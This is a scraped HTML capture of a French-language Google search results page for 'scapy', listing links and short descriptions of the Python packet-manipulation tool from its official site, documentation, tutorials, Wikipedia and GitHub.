\"Arial\";margin-left:15px}._fld{border-bottom:1px solid #dedede;height:56px;padding-top:1px}#resultStats{color:#999;font-size:13px;overflow:hidden;white-space:nowrap}.mslg>td{padding-right:1px;padding-top:2px}.slk .sld{margin-top:2px;padding:5px 0 5px 5px}._Mvd,.fmp{padding-top:3px}.close_btn{overflow:hidden}#fll a,#bfl a{color:#1a0dab !important;margin:0 12px;text-decoration:none !important}.ng{color:#dd4b39}#mss{margin:.33em 0 0;padding:0;display:table}._mY{display:inline-block;float:left;white-space:nowrap;padding-right:16px}#mss p{margin:0;padding-top:5px}.tn{border-bottom:1px solid #ebebeb;display:block;float:left;height:59px;line-height:54px;min-width:980px;padding:0;position:relative;white-space:nowrap}._UXb,a._UXb{color:#777;cursor:pointer;display:inline-block;font-family:arial,sans-serif;font-size:small;height:54px;line-height:54px;margin:0 8px;padding:0 8px;text-decoration:none;white-space:nowrap}._Ihd{border-bottom:3px solid #dd4b39;color:#dd4b39;font-weight:bold;margin:2px 8px 0}a._Jhd:hover{color:black;text-decoration:none;white-space:nowrap}body{margin:0;padding:0}._sxc{display:inline-block;float:left;margin-top:2px}._Hhd,a._Hhd{margin-left:1px}.sd{line-height:43px;padding:0 8px 0 9px}a:active,.osl a:active,.tbou a:active,#leftnav a:active{color:#dd4b39}#_Xud a:active,#bfl a:active{color:#dd4b39 !important}.csb{background:url(/images/nav_logo229.png) no-repeat;overflow:hidden}.close_btn{background:url(/images/nav_logo229.png) no-repeat -138px -84px;height:14px;width:14px;display:block}.star{background:url(/images/nav_logo229.png) no-repeat -94px -245px;height:13px;width:65px;display:block}.star div,.star span{background:url(/images/nav_logo229.png) no-repeat 0 -245px;height:13px;width:65px;display:block}._nBb{display:inline;margin:0 3px;outline-color:transparent;overflow:hidden;position:relative}._nBb>div{outline-color:transparent}._O0{border-color:transparent;border-style:solid dashed dashed;border-top-color:green;border-width:4px 4px 0 4px;cursor:pointer;display:inline-block;font-size:0;height:0;left:4px;line-height:0;outline-color:transparent;position:relative;top:-3px;width:0}._O0{margin-top:-4px}.am-dropdown-menu{display:block;background:#fff;border:1px solid #dcdcdc;font-size:13px;left:0;padding:0;position:absolute;right:auto;white-space:nowrap;z-index:3}._Ykb{list-style:none;white-space:nowrap}._Ykb:hover{background-color:#eee}a._Zkb{color:#333;cursor:pointer;display:block;padding:7px 18px;text-decoration:none}#tads a._Zkb{color:#333}.sfbgg{background:#f1f1f1;border-bottom:1px solid #e5e5e5;height:71px}#logocont{z-index:1;padding-left:4px;padding-top:4px}#logo{display:block;height:49px;margin-top:12px;margin-left:12px;overflow:hidden;position:relative;width:137px}#logo img{left:0;position:absolute;top:-41px}.lst-a{background:white;border:1px solid #d9d9d9;border-top-color:silver;width:570px}.lst-a:hover{border:1px solid #b9b9b9;border-top:1px solid #a0a0a0;box-shadow:inset 0 1px 2px rgba(0,0,0,0.1);-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,0.1);-moz-box-shadow:inset 0 1px 2px rgba(0,0,0,0.1)}.lst-td{border:none;padding:0}.tia input{border-right:none;padding-right:0}.tia{padding-right:0}.lst{background:none;border:none;color:#000;font:16px arial,sans-serif;float:left;height:22px;margin:0;padding:3px 6px 2px 9px;vertical-align:top;width:100%;word-break:break-all}.lst:focus{outline:none}.lst-b{background:none;border:none;height:26px;padding:0 6px 0 12px}.ds{border-right:1px solid #e7e7e7;position:relative;height:29px;margin-left:17px;z-index:100}.lsbb{background-image:-moz-linear-gradient(top,#4d90fe,#4787ed);background-image:-ms-linear-gradient(top,#4d90fe,#4787ed);background-image:-o-linear-gradient(top,#4d90fe,#4787ed);background-image:-webkit-gradient(linear,left top,left bottom,from(#4d90fe),to(#4787ed));background-image:-webkit-linear-gradient(top,#4d90fe,#4787ed);background-image:linear-gradient(top,#4d90fe,#4787ed);border:1px solid #3079ed;border-radius:2px;background-color:#4d90fe;height:27px;width:68px}.lsbb:hover{background-image:-moz-linear-gradient(top,#4d90fe,#357ae8);background-image:-ms-linear-gradient(top,#4d90fe,#357ae8);background-image:-o-linear-gradient(top,#4d90fe,#357ae8);background-image:-webkit-gradient(linear,left top,left bottom,from(#4d90fe),to(#357ae8));background-image:-webkit-linear-gradient(top,#4d90fe,#357ae8);background-color:#357ae8;background-image:linear-gradient(top,#4d90fe,#357ae8);border:1px solid #2f5bb7}.lsb{background:transparent;background-position:0 -343px;background-repeat:repeat-x;border:none;color:#000;cursor:default;font:15px arial,sans-serif;height:29px;margin:0;vertical-align:top;width:100%}.lsb:active{-moz-box-shadow:inset 0 1px 2px rgba(0,0,0,0.3);-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,0.3);box-shadow:inset 0 1px 2px rgba(0,0,0,0.3);background:transparent;color:transparent;overflow:hidden;position:relative;width:100%}.sbico{color:transparent;display:inline-block;height:15px;margin:0 auto;margin-top:2px;width:15px;overflow:hidden}</style><script>(function(){window.google={kEI:'kzFQWN-hEcKya4KMgVA',kEXPI:'20782,750721,1351903,3700243,4029815,4032677,4038012,4041899,4043492,4045841,4048347,4055745,4062666,4065787,4067860,4068550,4068560,4069838,4069841,4072602,4072775,4073405,4073728,4073959,4074597,4074955,4076095,4076931,4076999,4078438,4078456,4078764,4079106,4079442,4079626,4079874,4079894,4079954,4080167,4081037,4081039,4082056,4082165,4082217,4082619,4083476,4084298,4084343,4084956,4085057,4085627,4086011,4086290,4086863,4087718,4087977,4088429,4088436,4088448,4088643,4089003,4089106,4089337,4089346,4089347,4089481,4089538,4089696,4089741,4089749,4089753,4090086,4090352,4090401,4090445,4090806,8300096,8300273,8300478,8506615,8507381,8507419,8507858,8507899,8508059,8508065,8508590,8508957,8509066,8509243,10200083,13500022',authuser:0,kscs:'c9c918f0_24'};google.kHL='fr';})();(function(){google.lc=[];google.li=0;google.getEI=function(a){for(var b;a&&(!a.getAttribute||!(b=a.getAttribute(\"eid\")));)a=a.parentNode;return b||google.kEI};google.getLEI=function(a){for(var b=null;a&&(!a.getAttribute||!(b=a.getAttribute(\"leid\")));)a=a.parentNode;return b};google.https=function(){return\"https:\"==window.location.protocol};google.ml=function(){return null};google.wl=function(a,b){try{google.ml(Error(a),!1,b)}catch(c){}};google.time=function(){return(new Date).getTime()};google.log=function(a,b,c,d,g){a=google.logUrl(a,b,c,d,g);if(\"\"!=a){b=new Image;var e=google.lc,f=google.li;e[f]=b;b.onerror=b.onload=b.onabort=function(){delete e[f]};window.google&&window.google.vel&&window.google.vel.lu&&window.google.vel.lu(a);b.src=a;google.li=f+1}};google.logUrl=function(a,b,c,d,g){var e=\"\",f=google.ls||\"\";c||-1!=b.search(\"&ei=\")||(e=\"&ei=\"+google.getEI(d),-1==b.search(\"&lei=\")&&(d=google.getLEI(d))&&(e+=\"&lei=\"+d));a=c||\"/\"+(g||\"gen_204\")+\"?atyp=i&ct=\"+a+\"&cad=\"+b+e+f+\"&zx=\"+google.time();/^http:/i.test(a)&&google.https()&&(google.ml(Error(\"a\"),!1,{src:a,glmm:1}),a=\"\");return a};google.y={};google.x=function(a,b){google.y[a.id]=[a,b];return!1};google.lq=[];google.load=function(a,b,c){google.lq.push([[a],b,c])};google.loadAll=function(a,b){google.lq.push([a,b])};}).call(this);(function(){var b=[function(){google.c&&google.tick(\"load\",\"dcl\")}];google.dcl=!1;google.dclc=function(a){google.dcl?a():b.push(a)};function c(){if(!google.dcl){google.dcl=!0;for(var a;a=b.shift();)a()}}window.addEventListener?(document.addEventListener(\"DOMContentLoaded\",c,!1),window.addEventListener(\"load\",c,!1)):window.attachEvent&&window.attachEvent(\"onload\",c);}).call(this);</script><script type=\"text/javascript\"></script><script>(function(){var a=function(f){for(var g=f.parentElement,d=null,e=0;e<g.childNodes.length;e++){var h=g.childNodes[e];-1<(\" \"+h.className+\" \").indexOf(\" am-dropdown-menu \")&&(d=h)}\"none\"==d.style.display?(d.style.display=\"\",google.log(\"hpam\",\"&ved=\"+f.getAttribute(\"data-ved\"))):d.style.display=\"none\"},b=[\"google\",\"sham\"],c=this;b[0]in c||!c.execScript||c.execScript(\"var \"+b[0]);for(var k;b.length&&(k=b.shift());)b.length||void 0===a?c[k]?c=c[k]:c=c[k]={}:c[k]=a;}).call(this);</script></head><body class=\"hsrp\" bgcolor=\"#ffffff\" marginheight=\"0\" marginwidth=\"0\" topmargin=\"0\"><div id=gbar><nobr><b class=gb1>Recherche</b> <a class=gb1 href=\"https://www.google.fr/search?hl=fr&tbm=isch&source=og&tab=wi\">Images</a> <a class=gb1 href=\"https://maps.google.fr/maps?hl=fr&tab=wl\">Maps</a> <a class=gb1 href=\"https://play.google.com/?hl=fr&tab=w8\">Play</a> <a class=gb1 href=\"https://www.youtube.com/results?gl=FR&tab=w1\">YouTube</a> <a class=gb1 href=\"https://news.google.fr/nwshp?hl=fr&tab=wn\">Actualits</a> <a class=gb1 href=\"https://mail.google.com/mail/?tab=wm\">Gmail</a> <a class=gb1 href=\"https://drive.google.com/?tab=wo\">Drive</a> <a class=gb1 style=\"text-decoration:none\" href=\"https://www.google.fr/intl/fr/options/\"><u>Plus</u> &raquo;</a></nobr></div><div id=guser width=100%><nobr><span id=gbn class=gbi></span><span id=gbf class=gbf></span><span id=gbe></span><a href=\"http://www.google.fr/history/optout?hl=fr\" class=gb4>Historique Web</a> | <a href=\"/preferences?hl=fr\" class=gb4>Paramtres</a> | <a target=_top id=gb_70 href=\"https://accounts.google.com/ServiceLogin?hl=fr&passive=true&continue=https://www.google.fr/search%3Fq%3Dscapy\" class=gb4>Connexion</a></nobr></div><div class=gbh style=left:0></div><div class=gbh style=right:0></div><table id=\"mn\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"position:relative\"><tr><th width=\"132\"></th><th width=\"573\"></th><th width=\"278\"></th><th></th></tr><tr><td class=\"sfbgg\" valign=\"top\"><div id=\"logocont\"><h1><a href=\"/webhp?hl=fr\" style=\"background:url(/images/nav_logo229.png) no-repeat 0 -41px;height:37px;width:95px;display:block\" id=\"logo\" title=\"Go to Google Home\"></a></h1></div></td><td class=\"sfbgg\" colspan=\"2\" valign=\"top\" style=\"padding-left:0px\"><form style=\"display:block;margin:0;background:none\" action=\"/search\" id=\"tsf\" method=\"GET\" name=\"gs\"><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"margin-top:20px;position:relative\"><tr><td><div class=\"lst-a\"><table cellpadding=\"0\" cellspacing=\"0\"><tr><td class=\"lst-td\" width=\"555\" valign=\"bottom\"><div style=\"position:relative;zoom:1\"><input class=\"lst\" value=\"scapy\" title=\"Rechercher\" autocomplete=\"off\" id=\"sbhost\" maxlength=\"2048\" name=\"q\" type=\"text\"></div></td></tr></table></div></td><td><div class=\"ds\"><div class=\"lsbb\"><button class=\"lsb\" value=\"Rechercher\" name=\"btnG\" type=\"submit\"><span class=\"sbico\" style=\"background:url(/images/nav_logo229.png) no-repeat -36px -111px;height:14px;width:13px;display:block\"></span></button></div></div></td></tr></table></form></td><td class=\"sfbgg\">&nbsp;</td></tr><tr style=\"position:relative\"><td><div style=\"border-bottom:1px solid #ebebeb;height:59px\"></div></td><td colspan=\"2\"><div class=\"tn\"><div class=\"_UXb _Ihd _sxc _Hhd\">Tous</div><div class=\"_sxc\"><a class=\"_UXb _Jhd\" href=\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;source=lnms&amp;tbm=isch&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ_AUIBQ\">Images</a></div><div class=\"_sxc\"><a class=\"_UXb _Jhd\" href=\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;source=lnms&amp;tbm=vid&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ_AUIBg\">Vidos</a></div><div class=\"_sxc\"><a class=\"_UXb _Jhd\" href=\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;source=lnms&amp;tbm=nws&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ_AUIBw\">Actualits</a></div><div class=\"_sxc\"><a class=\"_UXb _Jhd\" href=\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;source=lnms&amp;tbm=shop&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ_AUICA\">Shopping</a></div><div class=\"_sxc\"><a class=\"_UXb _Jhd\" href=\"https://maps.google.fr/maps?q=scapy&amp;um=1&amp;ie=UTF-8&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ_AUICQ\">Maps</a></div><div class=\"_sxc\"><a class=\"_UXb _Jhd\" href=\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;source=lnms&amp;tbm=bks&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ_AUICg\">Livres</a></div></div><div style=\"border-bottom:1px solid #ebebeb;height:59px\"></div></td><td><div style=\"border-bottom:1px solid #ebebeb;height:59px\"></div></td></tr><tbody data-jibp=\"h\" data-jiis=\"uc\" id=\"desktop-search\"><style>._Bu,._Bu a:link,._Bu a:visited,a._Bu:link,a._Bu:visited{color:#808080}._kBb{color:#61C}.ellip{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}</style><tr><td id=\"leftnav\" valign=\"top\"><div><h2 class=\"hd\">Search Options</h2><ul class=\"med\" id=\"tbd\"><li><ul class=\"tbt\"><li class=\"tbos\" id=\"lr_\">Tous les pays</li><li class=\"tbou\" id=\"ctr_countryFR\"><a class=\"q\" href=\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;source=lnt&amp;tbs=ctr:countryFR&amp;cr=countryFR&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQpwUIDw\">Pays: France</a></li></ul></li><li><ul class=\"tbt\"><li class=\"tbos\" id=\"lr_\">Toutes les langues</li><li class=\"tbou\" id=\"lr_lang_1fr\"><a class=\"q\" href=\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;source=lnt&amp;tbs=lr:lang_1fr&amp;lr=lang_fr&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQpwUIDw\">Pages en franais</a></li></ul></li><li><ul class=\"tbt\"><li class=\"tbos\" id=\"qdr_\">Date indiffrente</li><li class=\"tbou\" id=\"qdr_h\"><a class=\"q\" href=\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;source=lnt&amp;tbs=qdr:h&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQpwUIDw\"> Moins d'une heure</a></li><li class=\"tbou\" id=\"qdr_d\"><a class=\"q\" href=\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;source=lnt&amp;tbs=qdr:d&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQpwUIDw\"> Moins de 24heures</a></li><li class=\"tbou\" id=\"qdr_w\"><a class=\"q\" href=\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;source=lnt&amp;tbs=qdr:w&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQpwUIDw\"> Moins d'une semaine</a></li><li class=\"tbou\" id=\"qdr_m\"><a class=\"q\" href=\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;source=lnt&amp;tbs=qdr:m&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQpwUIDw\"> Moins d'un mois</a></li><li class=\"tbou\" id=\"qdr_y\"><a class=\"q\" href=\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;source=lnt&amp;tbs=qdr:y&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQpwUIDw\"> Moins d'un an</a></li></ul></li><li><ul class=\"tbt\"><li class=\"tbos\" id=\"li_\">Tous les rsultats</li><li class=\"tbou\" id=\"li_1\"><a class=\"q\" href=\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;source=lnt&amp;tbs=li:1&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQpwUIDw\">Mot mot</a></li></ul></li></ul></div></td><td valign=\"top\"><div id=\"center_col\"><div class=\"sd\" id=\"resultStats\">Environ 190&#160;000rsultats</div><div id=\"res\"><div id=\"topstuff\"></div><div id=\"search\"><div id=\"ires\"><ol><div class=\"g\"><h3 class=\"r\"><a href=\"/url?q=http://www.secdev.org/projects/scapy/&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQFggUMAA&amp;usg=AFQjCNHHk3EY8Z1PU7DjcAlkG4Rc3Vs59g\"><b>Scapy</b> - SecDev.org</a></h3><div class=\"s\"><div class=\"kv\" style=\"margin-bottom:2px\"><cite>www.secdev.org/projects/<b>scapy</b>/</cite><div class=\"_nBb\"><div style=\"display:inline\" onclick=\"google.sham(this);\" aria-expanded=\"false\" aria-haspopup=\"true\" tabindex=\"0\" data-ved=\"0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ7B0IFTAA\"><span class=\"_O0\"></span></div><div style=\"display:none\" class=\"am-dropdown-menu\" role=\"menu\" tabindex=\"-1\"><ul><li class=\"_Ykb\"><a class=\"_Zkb\" href=\"/url?q=http://webcache.googleusercontent.com/search%3Fq%3Dcache:AsiFNhlH2pkJ:http://www.secdev.org/projects/scapy/%252Bscapy%26hl%3Dfr%26ct%3Dclnk&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQIAgXMAA&amp;usg=AFQjCNEsc6oKXOBbiQdnyv1LzA4BeD0E5g\">En cache</a></li><li class=\"_Ykb\"><a class=\"_Zkb\" href=\"/search?ie=UTF-8&amp;q=related:www.secdev.org/projects/scapy/+scapy&amp;tbo=1&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQHwgYMAA\">Pages similaires</a></li></ul></div></div></div><span class=\"st\"><b>Scapy</b> is a powerful interactive packet manipulation program. It is able to forge or <br>\n",
- "decode packets of a wide number of protocols, send them on the wire, capture&nbsp;...</span><br><div class=\"osl\"><a href=\"/url?q=http://www.secdev.org/projects/scapy/doc/&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ0gIIGigAMAA&amp;usg=AFQjCNEIwIcroh5YAfGR-I7GYFdLicNWEA\">Scapy's documentation!</a> - <a href=\"/url?q=http://www.secdev.org/projects/scapy/doc/usage.html&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ0gIIGygBMAA&amp;usg=AFQjCNFmd-7Kib8a4LCin1kc0GJ50BIS4A\">Usage</a> - <a href=\"/url?q=http://www.secdev.org/projects/scapy/demo.html&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ0gIIHCgCMAA&amp;usg=AFQjCNHVs60uzwQshH24gRG8SJd6_UG5ww\">Quick demo : an interactive</a> - <a href=\"/url?q=http://www.secdev.org/projects/scapytain/&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ0gIIHSgDMAA&amp;usg=AFQjCNEQizwKXdatZ7llosjxF90Qq1GZ0w\">Scapytain</a></div></div></div><div class=\"g\"><h3 class=\"r\"><a href=\"/url?q=http://www.secdev.org/projects/scapy/doc/usage.html&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQFggfMAE&amp;usg=AFQjCNFmd-7Kib8a4LCin1kc0GJ50BIS4A\">Usage &#8212; <b>Scapy</b> v2.1.1-dev documentation - SecDev.org</a></h3><div class=\"s\"><div class=\"kv\" style=\"margin-bottom:2px\"><cite>www.secdev.org/projects/<b>scapy</b>/doc/usage.html</cite><div class=\"_nBb\"><div style=\"display:inline\" onclick=\"google.sham(this);\" aria-expanded=\"false\" aria-haspopup=\"true\" tabindex=\"0\" data-ved=\"0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ7B0IIDAB\"><span class=\"_O0\"></span></div><div style=\"display:none\" class=\"am-dropdown-menu\" role=\"menu\" tabindex=\"-1\"><ul><li class=\"_Ykb\"><a class=\"_Zkb\" href=\"/url?q=http://webcache.googleusercontent.com/search%3Fq%3Dcache:IkQlsPcbaVUJ:http://www.secdev.org/projects/scapy/doc/usage.html%252Bscapy%26hl%3Dfr%26ct%3Dclnk&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQIAgiMAE&amp;usg=AFQjCNFm83gItGADS_RWIfcNKm10GZzLbQ\">En cache</a></li><li class=\"_Ykb\"><a class=\"_Zkb\" href=\"/search?ie=UTF-8&amp;q=related:www.secdev.org/projects/scapy/doc/usage.html+scapy&amp;tbo=1&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQHwgjMAE\">Pages similaires</a></li></ul></div></div></div><span class=\"st\"><b>Scapy&#39;s</b> interactive shell is run in a terminal session. Root privileges are needed <br>\n",
- "to send the packets, so we&#39;re using sudo here: $ sudo <b>scapy</b> Welcome to <b>Scapy</b>&nbsp;...</span><br></div></div><div class=\"g\"><h3 class=\"r\"><a href=\"/url?q=https://openclassrooms.com/courses/manipulez-les-paquets-reseau-avec-scapy&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQFgglMAI&amp;usg=AFQjCNFkskYeH2yXFnaeEQNJg5U9OW6vcQ\">Manipulez les paquets rseau avec <b>Scapy</b> - OpenClassrooms</a></h3><div class=\"s\"><div class=\"kv\" style=\"margin-bottom:2px\"><cite>https://openclassrooms.com/.../manipulez-les-paquets-reseau-avec-<b>scapy</b></cite><div class=\"_nBb\"><div style=\"display:inline\" onclick=\"google.sham(this);\" aria-expanded=\"false\" aria-haspopup=\"true\" tabindex=\"0\" data-ved=\"0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ7B0IJjAC\"><span class=\"_O0\"></span></div><div style=\"display:none\" class=\"am-dropdown-menu\" role=\"menu\" tabindex=\"-1\"><ul><li class=\"_Ykb\"><a class=\"_Zkb\" href=\"/url?q=http://webcache.googleusercontent.com/search%3Fq%3Dcache:S5DdkssTWs4J:https://openclassrooms.com/courses/manipulez-les-paquets-reseau-avec-scapy%252Bscapy%26hl%3Dfr%26ct%3Dclnk&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQIAgoMAI&amp;usg=AFQjCNGLpLwzu508SzQHsP-Uf4wqZah87A\">En cache</a></li><li class=\"_Ykb\"><a class=\"_Zkb\" href=\"/search?ie=UTF-8&amp;q=related:https://openclassrooms.com/courses/manipulez-les-paquets-reseau-avec-scapy+scapy&amp;tbo=1&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQHwgpMAI\">Pages similaires</a></li></ul></div></div></div><span class=\"st\">20 nov. 2013 <b>...</b> <b>Scapy</b> est un module pour Python permettant de forger, envoyer, rceptionner et <br>\n",
- "manipuler des paquets rseau. Si le rseau vous intresse et&nbsp;...</span><br></div></div><div class=\"g\"><h3 class=\"r\"><a href=\"/url?q=https://fr.wikipedia.org/wiki/Scapy&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQFggsMAM&amp;usg=AFQjCNGTIivLQi0XfgwYnADPhMZKZ5S1cA\"><b>Scapy</b> &#8212; Wikipdia</a></h3><div class=\"s\"><div class=\"kv\" style=\"margin-bottom:2px\"><cite>https://fr.wikipedia.org/wiki/<b>Scapy</b></cite><div class=\"_nBb\"><div style=\"display:inline\" onclick=\"google.sham(this);\" aria-expanded=\"false\" aria-haspopup=\"true\" tabindex=\"0\" data-ved=\"0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ7B0ILTAD\"><span class=\"_O0\"></span></div><div style=\"display:none\" class=\"am-dropdown-menu\" role=\"menu\" tabindex=\"-1\"><ul><li class=\"_Ykb\"><a class=\"_Zkb\" href=\"/url?q=http://webcache.googleusercontent.com/search%3Fq%3Dcache:MsdDsl0QNWcJ:https://fr.wikipedia.org/wiki/Scapy%252Bscapy%26hl%3Dfr%26ct%3Dclnk&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQIAgvMAM&amp;usg=AFQjCNFCwGW84n_OO6XIlEpMhfrvke6c-A\">En cache</a></li><li class=\"_Ykb\"><a class=\"_Zkb\" href=\"/search?ie=UTF-8&amp;q=related:https://fr.wikipedia.org/wiki/Scapy+scapy&amp;tbo=1&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQHwgwMAM\">Pages similaires</a></li></ul></div></div></div><span class=\"st\"><b>Scapy</b> est un logiciel libre de manipulation de paquets rseau crit en python. Il <br>\n",
- "est capable, entre autres, d&#39;intercepter le trafic sur un segment rseau,&nbsp;...</span><br><div class=\"osl\"><a href=\"/url?q=https://fr.wikipedia.org/wiki/Scapy%23Avantages_de_scapy&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ0gIIMigAMAM&amp;usg=AFQjCNHuBGOX0rv-ULqfquUn6FFIQJrj5g\">Avantages de scapy</a> - <a href=\"/url?q=https://fr.wikipedia.org/wiki/Scapy%23Exemple_d.27utilisation_de_scapy&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ0gIIMygBMAM&amp;usg=AFQjCNFRbPAXgHtzI2eifsA1SLsqNAh6AQ\">Exemple d'utilisation de scapy</a> - <a href=\"/url?q=https://fr.wikipedia.org/wiki/Scapy%23Notes_et_r.C3.A9f.C3.A9rences&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ0gIINCgCMAM&amp;usg=AFQjCNGgp4vZufO23i8NlSEK_R2GflOzTg\">Notes et rfrences</a></div></div></div><div class=\"g\"><h3 class=\"r\"><a href=\"/url?q=http://www.lestutosdenico.com/tutos-de-nico/scapy&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQFgg2MAQ&amp;usg=AFQjCNGJgAUj5uKjpIlgONJAh773FzsVhQ\"><b>Scapy</b> | Les Tutos de Nico</a></h3><div class=\"s\"><div class=\"kv\" style=\"margin-bottom:2px\"><cite>www.lestutosdenico.com/tutos-de-nico/<b>scapy</b></cite><div class=\"_nBb\"><div style=\"display:inline\" onclick=\"google.sham(this);\" aria-expanded=\"false\" aria-haspopup=\"true\" tabindex=\"0\" data-ved=\"0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ7B0INzAE\"><span class=\"_O0\"></span></div><div style=\"display:none\" class=\"am-dropdown-menu\" role=\"menu\" tabindex=\"-1\"><ul><li class=\"_Ykb\"><a class=\"_Zkb\" href=\"/url?q=http://webcache.googleusercontent.com/search%3Fq%3Dcache:n5JD9BgFDtkJ:http://www.lestutosdenico.com/tutos-de-nico/scapy%252Bscapy%26hl%3Dfr%26ct%3Dclnk&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQIAg5MAQ&amp;usg=AFQjCNEoq44xVCpsMHTwrp1z672VVGWKhQ\">En cache</a></li><li class=\"_Ykb\"><a class=\"_Zkb\" href=\"/search?ie=UTF-8&amp;q=related:www.lestutosdenico.com/tutos-de-nico/scapy+scapy&amp;tbo=1&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQHwg6MAQ\">Pages similaires</a></li></ul></div></div></div><span class=\"st\">26 avr. 2010 <b>...</b> <b>Scapy</b> est un outil Open Source crit par Philippe Biondi. Cet utilitaire permet de <br>\n",
- "manipuler, forger, dcoder, mettre, recevoir les paquets&nbsp;...</span><br></div></div><div class=\"g\"><h3 class=\"r\"><a href=\"/url?q=https://github.com/secdev/scapy&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQFgg9MAU&amp;usg=AFQjCNFx6X4HyjoLtnHCYRzeN9IHyxPGjw\">GitHub - secdev/<b>scapy</b>: <b>Scapy</b>: the python-based interactive packet ...</a></h3><div class=\"s\"><div class=\"kv\" style=\"margin-bottom:2px\"><cite>https://github.com/secdev/<b>scapy</b></cite><div class=\"_nBb\"><div style=\"display:inline\" onclick=\"google.sham(this);\" aria-expanded=\"false\" aria-haspopup=\"true\" tabindex=\"0\" data-ved=\"0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ7B0IPjAF\"><span class=\"_O0\"></span></div><div style=\"display:none\" class=\"am-dropdown-menu\" role=\"menu\" tabindex=\"-1\"><ul><li class=\"_Ykb\"><a class=\"_Zkb\" href=\"/url?q=http://webcache.googleusercontent.com/search%3Fq%3Dcache:t5CFO8vxr4IJ:https://github.com/secdev/scapy%252Bscapy%26hl%3Dfr%26ct%3Dclnk&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQIAhAMAU&amp;usg=AFQjCNFTiv8yTtMV3mQuth-8uadrLURtOQ\">En cache</a></li></ul></div></div></div><span class=\"st\"><b>scapy</b> - <b>Scapy</b>: the python-based interactive packet manipulation program &amp; <br>\n",
